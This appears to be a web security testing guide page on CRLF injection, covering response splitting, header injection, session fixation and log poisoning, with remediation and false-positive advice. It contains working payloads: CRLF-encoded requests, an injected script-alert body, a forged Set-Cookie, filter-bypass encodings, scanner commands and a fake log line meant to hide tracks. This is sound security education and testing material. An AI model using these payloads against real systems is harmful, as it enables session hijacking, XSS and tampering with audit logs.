8 min read

Exploitation A05

CRLF Injection

CRLF (Carriage Return Line Feed) injection occurs when an attacker can inject \r\n characters into HTTP headers, enabling HTTP response splitting, header injection, session fixation via Set-Cookie, XSS through injected headers, and log poisoning.

Warning

CRLF injection can chain with XSS, cache poisoning, and session fixation. Always test on authorized targets.

Frameworks: WSTG-INPV-15 · ASVS 5.0 V1.2.1, V4.2.4 · CWE-93, CWE-113 · T1190

Why a Header Is a Line Protocol

An HTTP/1.1 message is delimited by bytes, not a schema. Each header is a name, a colon, a value and a CRLF; the block ends at the first empty line. Nothing validates that structure, so a value containing CR or LF stops being a value — it becomes a new field or, with two CRLFs, the end of the headers. The delimiters are honoured; no parser has to decide your input is malicious.

It reaches production wherever request-derived text is written into a header the application builds: Location on a redirect, Set-Cookie, Content-Disposition filenames, and custom tracing or debug headers. The same primitive exists in SMTP headers and access-log lines, which are also newline-delimited records.

The precondition is testable: you control some characters of a header value, and the layer that serialises it does not reject CR or LF. Node's res.setHeader and Django's HttpResponse throw on those characters; other stacks rely on the servlet container or the HTTP server in front of them. When a payload fails, distinguish a rejection (400 or 500) from silent normalisation by a proxy — alike in a browser, different on the wire.

Tools

CRLFsuite

pip install crlfsuite GitHub →

crlfuzz

go install github.com/dwisiswant0/crlfuzz/cmd/crlfuzz@latest GitHub →

Burp Suite

Manual testing

curl

Built-in

HTTP Response Splitting

If user input is reflected in HTTP response headers without sanitising CRLF characters, the attacker can inject arbitrary headers or even a full second HTTP response. Send the request below with -i and count header lines: the positive is a new field before the blank line, not the string Injected-Header appearing somewhere in the body.

crlf-response-splitting.http
# Basic CRLF injection in a redirect:
GET /redirect?url=https://target.com%0d%0aInjected-Header:%20true HTTP/1.1

# Response:
HTTP/1.1 302 Found
Location: https://target.com
Injected-Header: true

# XSS via CRLF - inject Content-Type and body:
GET /redirect?url=https://target.com%0d%0a%0d%0a<script>alert(document.domain)</script> HTTP/1.1

# Response:
HTTP/1.1 302 Found
Location: https://target.com

<script>alert(document.domain)</script>

# Session fixation via Set-Cookie injection:
GET /page?lang=en%0d%0aSet-Cookie:%20session=attacker_session HTTP/1.1

# Response:
HTTP/1.1 200 OK
Content-Language: en
Set-Cookie: session=attacker_session

Two outcomes are worth separating. Header injection adds one field to the existing response; the evidence is a single unexpected header. Response splitting closes the header block with a double CRLF, so the bytes after it are body and a crafted payload can read as a second response to a downstream cache. Splitting is stronger but only reproduces on HTTP/1.1 — HTTP/2 has no CRLF framing, so current targets usually limit you to injection within a value.

Read the raw response rather than the rendered page. If %0d%0aInjected-Header:%20true comes back inside Location as literal text, the value was encoded on the way out. That is a negative, and the most common false positive in this class. A new field on its own line, before the blank line, is the positive.

Encoding Variants

Send one variant per request and inspect the raw header block after each. A value may be decoded once by the framework and again by a proxy, which is why the double-encoded form occasionally lands where the single-encoded one was caught; the Unicode and null-byte forms exist because older normalisers treated them as line breaks. A variant that produces the control's response — same header count — is not a bypass, whatever status code it returns.

crlf-encoding-variants.sh
# Different CRLF encodings to bypass filters:

%0d%0a          # Standard URL-encoded CRLF
%0D%0A          # Uppercase
%0d%0a%0d%0a    # Double CRLF (start response body)
%E5%98%8A%E5%98%8D  # Unicode CRLF (UTF-8 encoding)
%0a            # LF only (works on some servers)
%0d            # CR only
\r\n           # Literal (in JSON/API contexts)
\u000d\u000a   # Unicode escape
%00%0d%0a      # Null byte prefix

# Double-encoding:
%250d%250a

# Test with crlfuzz:
crlfuzz -u "https://target.com/redirect?url=FUZZ" -o results.txt

# Bulk scan with CRLFsuite:
crlfsuite -u "https://target.com/redirect?url=" -o output.json

Log Poisoning via CRLF

Log injection is real but over-claimed. The payload below only produces evidence if you can read the log back — through an exposed viewer, a local file inclusion, or an export the client supplies. Without that you have shown a string was accepted, not that a forged entry exists. Keep the demonstration to a canary line you can retrieve, and name the sink.

crlf-log-poisoning.http
# Inject fake log entries via CRLF in logged parameters:

# If the application logs User-Agent or request params:
GET /page HTTP/1.1
User-Agent: normal-browser%0d%0a127.0.0.1 - admin [date] "GET /admin HTTP/1.1" 200

# This creates a fake log entry appearing to be from localhost
# Can be used to:
# - Cover tracks (inject successful 200 responses over 403 failures)
# - Frame other users (inject entries with different IPs)
# - Bypass log analysis tools
# - Inject payloads consumed by log aggregators and parsers

Testing Methodology

  1. 1. Identify all parameters reflected in response headers (Location, Set-Cookie, custom headers)
  2. 2. Test basic %0d%0a injection — does a new header appear in the response?
  3. 3. Try encoding variants if basic CRLF is filtered
  4. 4. Test double CRLF (%0d%0a%0d%0a) for response body injection (XSS)
  5. 5. Test Set-Cookie injection for session fixation
  6. 6. Check if CRLF-injected responses are cached (cache poisoning)
  7. 7. Test log files for CRLF poisoning in User-Agent and Referer

Confirming Injection on the Wire

Ask three requests of every candidate: a control with a benign value, the payload read with -D -, and the payload again through the path a victim takes. If the field appears only at the origin, report the origin as vulnerable and the edge as partial coverage.

confirm-crlf.sh
# 1. Control: status, header count, and the value you intend to abuse
curl -s -D - -o /dev/null -g --path-as-is \
  'https://target.com/redirect?url=https://example.com'

# 2. Candidate: the same request with CRLF appended to the parameter
curl -s -D - -o /dev/null -g --path-as-is \
  'https://target.com/redirect?url=https://example.com%0d%0aX-Probe:%20yes'

# 3. Count header lines only — a changed count is the signal, not the body
curl -s -D - -o /dev/null -g --path-as-is \
  'https://target.com/redirect?url=https://example.com%0d%0aX-Probe:%20yes' \
  | grep -c '^[A-Za-z0-9-]*:'

# Repeat step 2 against the edge hostname, then against the origin, and diff
# the header blocks. A field present at the origin and absent at the edge is
# normalisation by the proxy.

Evidence Collection

Request/Response: Burp capture showing CRLF payload and injected header in response

Raw Header Block: curl -D - output for both the control and the payload, so the client can count header lines and see the injected field before the blank line

Impact Demo: Screenshot of XSS alert or Set-Cookie injection

Edge vs Origin: The same request sent to the CDN hostname and to the origin IP, showing whether the injected field survives the proxy path

CVSS Range: Header injection: 4.3–6.1 | XSS via CRLF: 6.1–7.5 | Session fixation: 7.5–8.0

Remediation

  • • Strip CRLF characters: Remove \r and \n from all user input before placing in HTTP headers.
  • • Use framework header APIs: Modern frameworks (Django, Express, Spring) reject header values that contain CR or LF instead of silently stripping them — rely on that validation, not on string scrubbing.
  • • Validate redirect URLs: Use allowlists for redirect destinations rather than user-supplied values.
  • • URL-encode output: When reflecting user input in headers, URL-encode special characters.
  • • Encode non-URL header values properly: For filenames use RFC 5987 filename*=UTF-8''… encoding instead of embedding raw text in Content-Disposition; for cookies, encode the value rather than concatenating it.
  • • Do not rely on a proxy to clean up: A CDN that rejects or normalises CR/LF is defence in depth. The origin must still refuse the value, because the proxy can be bypassed or replaced.

False Positive Identification

  • URL-encoded vs. literal CRLF: If %0d%0a appears in the response body as literal text (not interpreted), there's no injection — confirm the CRLF creates actual new headers.
  • Framework-level protection: Modern frameworks (Django, Rails, Express) reject header values containing CR/LF — they raise an error rather than stripping the characters. Verify in the raw HTTP response, not just the rendered page.
  • Proxy normalization: Some reverse proxies normalize headers, preventing CRLF from reaching the client — test direct-to-origin if possible.
  • A header nothing consumes: Injecting an unused custom header is still injection, but the impact is only what a downstream component does with it. Check whether the field is a cache key, an auth input, or merely cosmetic before assigning severity.
  • Headers the edge adds itself: Trace IDs, <code>Via</code>, <code>X-Served-By</code> and request IDs are commonly generated by the CDN. Confirm the value you see matches the string you sent before calling it injected.

Response Splitting Practice

Practice CRLF and header injection on a deliberately vulnerable application.

OWASP WebGoat — HTTP Splitting Lessons Custom Lab medium
HTTP response splittingHeader injectionLog injection